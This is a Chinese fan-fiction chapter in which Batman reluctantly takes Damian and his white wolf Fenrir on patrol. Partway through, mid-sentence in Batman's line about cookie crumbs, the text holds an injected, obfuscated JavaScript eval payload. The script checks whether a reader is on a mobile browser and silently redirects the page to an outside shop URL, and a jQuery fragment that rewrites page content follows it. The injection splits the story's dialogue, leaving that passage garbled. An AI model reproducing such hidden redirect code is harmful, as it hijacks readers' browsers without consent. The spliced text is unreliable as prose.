*


    “曲奇饼干。”


    在芬里尔扑上来发出惨叫之前，达米安举起从公司带回来的精致礼盒。


    快和男孩一样高的白狼尾巴猛地炸开，四爪紧急制动，急刹带来的气流卷起衣角。


    芬里尔可耻地晃了晃尾巴，旁边传来布鲁斯不解风情的噪音，白狼顿时委屈地把自己塞进达米安怀里，大大的脑袋强行贴着胸口。


    “嗷嗷嗷——”


    他左爪比划一下逐渐暗下来的天空。


    “呜呜呜——”


    右爪比划一下空荡荡的韦恩大宅。


    “嗷呜！”


    白狼可怜又困惑地望着男孩。


    达米安摸摸他的耳朵，拆开特意从公司顺来的甜点礼盒，三两块下肚，成功让大狗勾晕乎乎忘记一切。


    和平友好的氛围一直到傍晚。


    达米安一身刺客装出现在蝙蝠洞时，蝙蝠侠诡异地发现自己并不意外。


    没有再次争吵，达米安友善地退了一步，“父亲，您先走。”


    ——我们到时候在目的地汇合。


    他眼里明晃晃地透出这个消息。


    “……”


    蝙蝠侠毫不怀疑这个熊孩子能做到，并且真的会这么做。


    在阿尔弗雷德欲言又止下，老父亲深吸一口气，最终妥协道，“我会带上你。”


    “很好。”


    达米安矜持地抬起下巴，小奶音十分满意，“我尊重你的选择，父亲。”


    嗯，他的选择。


    蝙蝠侠冷笑出声。


    在旁观望的阿福忍不住出声阻止，“老爷，这太危险了。”


    “TT.”


    达米安不满咂舌，蝙蝠侠给他一个警告眼神，这才扭过头去。


    布鲁斯看向阿福，“你说得没错，阿福，这确实很危险，但…”


    他深吸一口气，为自己接下来的话感到荒谬，头疼艰难，“但达米安呆在家里更危险。”


    蝙蝠侠试图让老管家明白自己的意思。


    达米安呆在家很危险。


    或许他能把达米安的兴趣转移到韦恩集团不必要的会议上去。。


    那才是普通小孩该喜欢的地方。


    蝙蝠侠默默点头，阿福自然无法反驳下定决心的老爷，只能按照请求，从武器柜里拿出一整套道具。


    “注意安全，达米安少爷。”


    阿福望着小小的男孩，很难不感到忧虑。


    达米安轻啧一声，到底没对操心的老管家再说什么，就当是为了芬里尔的小甜饼。


    他接过装备仔细检查，钩爪枪灵活，止血绷带便捷，驱鲨剂…有备无患。


    男孩平静地捻起蝙蝠镖，薄薄的利刃如蝴蝶翻飞，桌面茶杯应声而碎。


    “不错。”


    他满意地装好武器，动作利落跳上车。


    “……”


    庄园管家侠阿尔弗雷德无声望向熊孩子家长。


    蝙蝠侠轻咳一声，干巴巴解释，“我说了，他在家里很危险。”


    他仓皇跳上蝙蝠车。


    可惜谁都没放过他。


    蝙蝠侠深吸一口气，看见抱着尾巴藏在后座，把头遮得严严实实的白狼，有种哭笑不得的无力。


    他克制住扶额的冲动，“芬里尔，下去。”


    “呜…”


    白狼继续装死，并把脑袋遮得更严实了。


    于是蝙蝠不再纠结，直接冷脸按下开关，蝙蝠车弹射座椅启动，白狼直接被强大推力送出车外，肉嘟嘟身体在地上弹了两弹，极有重量地激起一地气流。


    “嗷嗷嗷——”


    芬里尔震惊地蹦起来，不甘心地起立拍打车窗，呜咽声凄厉又可怜。


    但是蝙蝠侠内心毫无波澜，甚至想按下达米安屁股下面的弹簧按钮。


    他打开通讯频道，“阿福，芬里尔交给你了。”


    “噢…布鲁斯老爷……”


    肉眼可见的，老管家高高挑起眉毛。


    他看着忙碌敲打车窗，甚至趴在车顶的大白球，并不认为这是个轻松活计。


    蝙蝠侠提出补偿，“把达米安的小甜饼给他。”


    他按下机关，蝙蝠车微微一亮，高压电流闪烁，警惕的白狼立马闪身躲开。


    却见下一秒车辆如流星般冲出，消失不见。


    “嗷————”


    被网绳偷袭的芬里尔发出不可置信尖叫。


    *


    “你更换了新的网绳材料。”


    蝙蝠车内，达米安敏锐评价，芬里尔的训练由他一手负责，各项数据自然了然于心，他已经检查过蝙蝠洞的多种装备——当你把一只文武双全的小刺客带回家时，就该做好被掀老底的准备。


    他清楚芬里尔的极限，原有的材料不可能挡得住狼的利爪。


    蝙蝠侠没有回答，他昨晚就拜托了卢修斯为他订制特殊网绳。为了芬里尔，如果不是困住达米安的后果更让人头疼，事实上他不介意把达米安也捆起来，直到夜巡结束。


    或许有一天他能关达米安一辈子禁闭！


    老父亲硬气地想。


    然而熊孩子瞥了他一眼，发言从不让人失望。


    达米安哼笑，“他该来了。”


    蝙蝠侠：“……？”


    他抬眸看向后视镜，远方一只白点不断逼近，几秒风驰电掣的追逐后，白狼逐渐显出身形，四肢奔跑腾空，绒毛被风向后梳，露出一双璀璨到明亮的蓝眼睛，和胸口锃亮的绿宝石。


    “你不能让他在家呆着吗”


    蝙蝠侠头疼质问，先向阿福确认消息汇报平安，再逐渐降下车速，停在合适的巷口。


    芬里尔眨眼间就追了上来，支起身体搭在蝙蝠车窗，热情地咧嘴嗷呜，尾巴螺旋桨似的疯狂摆动。


    达米安隔着车窗玻璃，手掌和白狼爪垫对齐，这才平静地回答蝙蝠侠的问题，“父亲，你不能阻止一个战士奔赴战场。”


    蝙蝠侠忍不住冷笑，“呵，我以为你说服我的理由会是‘你不能分开狗和他的主人’。”


    达米安恼怒地瞪着他。


    蝙蝠侠内心毫无波动，“你得保证他会服从命令。”


    “我保证。”


    达米安轻哼。


    白狼从打开的后门挤上车，先是一人两下，奋力蹭蹭胳膊，充分展示自己热情和执着后，才将脑袋搁在两个座椅中间，全然一副乖巧不记仇模样。


    车辆重新启动，他从围脖里掏出系绳绣花布袋，达米安顿了顿，接过阿福准备的小甜饼开始投喂。


    芬里尔超标的身体素质和战斗能力，每天需要消耗大量热量。当然，这点小甜饼当然什么都不算，他只是嘴馋。


    达米安纵容了毛绒绒的任性，捏着他的爪子亲自喂食。


    “……”


    蝙蝠侠莫名觉得这像是在带孩子春游…


    白狼发出咕噜咕噜撒娇声。


    蝙蝠侠闭上耳朵，试图想点更威严的画面，黑夜，闪电，天台，他是复仇，他是黑夜，他…


    他面无表情警告，“别把饼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249090|151529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    干屑掉进座椅缝，便士一会生气的。”


    芬里尔立马站起来左右探头，伟大的狼王必不可能让任何一点食物从嘴里溜走，哪怕是饼干屑。


    蝙蝠侠没有放弃，固执地将话题拉入正常模式，沉声下令，“接下来听我指挥，所有人禁止单独行动。”


    芬里尔竖起一只耳朵望他。


    他闭上眼睛，“狼也是。”


    芬里尔满意了。


    达米安干脆点头。


    没有还嘴，没有呛声，甚至没有让人崩溃的语气词，老父亲忍不住重复，“我是说听我指挥！完完全全按照我说的做！！”


    “……？”


    达米安奇怪地看他一眼，“我知道。”


    蝙蝠侠为自己的话感到荒谬，又看见芬里尔趴在中间事不关己，顿时怒气横生，冷酷挑剔，“狼呢？”


    “嗷？”


    芬里尔茫然地眨着蓝眼睛。


    蝙蝠侠无情训斥，“回答我，说话。”


    “……”


    那个…


    我吗？？？


    芬里尔爪爪指着自己，大为震惊。


    两分钟后，达米安捏住白狼不断嘎嘎嘎汪汪汪喵喵喵挣扎的嘴巴，又瞥了眼严肃正经高深莫测的蝙蝠侠，绿眼睛浮现罕见的无奈。


    “父亲，认真开车。”


    “……”


    靠谱成年人倔强地不作回答。


    *


    蝙蝠车驶入郊外，隐约可见哥谭浓重的黑夜和城市融为一体，月光透过云层撒下浅光，晕染前方风景。


    蝙蝠车停在高架桥下，几人向工厂方向潜行。


    拥有一身雪白皮毛的芬里尔同样擅长寻找视觉漏洞，监控盲区，在各种地形复杂的地方隐蔽身影行动，尤其是工厂，这种拥有无数集装箱的地方，白狼混得如鱼得水。


    以及最重要的一点，如果被发现了怎么办？


    芬里尔咯噔一声，开始庆幸自己脸上的毛绒绒，他两爪连环砸晕路边青蛙，尾巴轻轻一拖，熟练扔进垃圾桶。


    没有了吧？


    白狼紧张地左右张望。


    蝙蝠侠投来不赞同的目光。


    白狼沮丧地呜咽一声。


    蝙蝠侠点名批评，“芬里尔，这不是游戏，到我后面去。”


    “呜……”


    白狼夹着尾巴，垂头丧气地从哨兵位置下来。


    在他走到达米安身边站好后，蝙蝠侠才说，“你们该有一个代号。”


    芬里尔露出茫然表情，他下意识看向达米安。


    男孩没辜负他的期望，颔首回答，“事实上，我考虑过这个问题。”


    “嗷嗷嗷！”


    芬里尔感兴趣地凑上前，用圆圆的漂亮蓝眼睛盯着主人，急得不行叠声催促。


    “TT.”


    达米安抵住白狼的脑门，如他所愿先为他加冕，小奶音严肃道，“芬里尔，以后你就是杀手王。”


    “嗷！”


    白狼稍息立正，同样回以最严肃的表情。


    只有完全不在同一频道的蝙蝠侠陷入沉默。


    这个名字……


    “…………”


    不愧是达米安，典型的奥古，傲慢的中东刺客，可恨的塔利亚教育。


    他突然就不想知道他给自己取的代号了。


    显然，达米安需要一些更健康，积极，欢快的色彩。


    而他有权利，更有义务为达米安安排好一切。


    包括代号。


    蝙蝠侠凝重地想。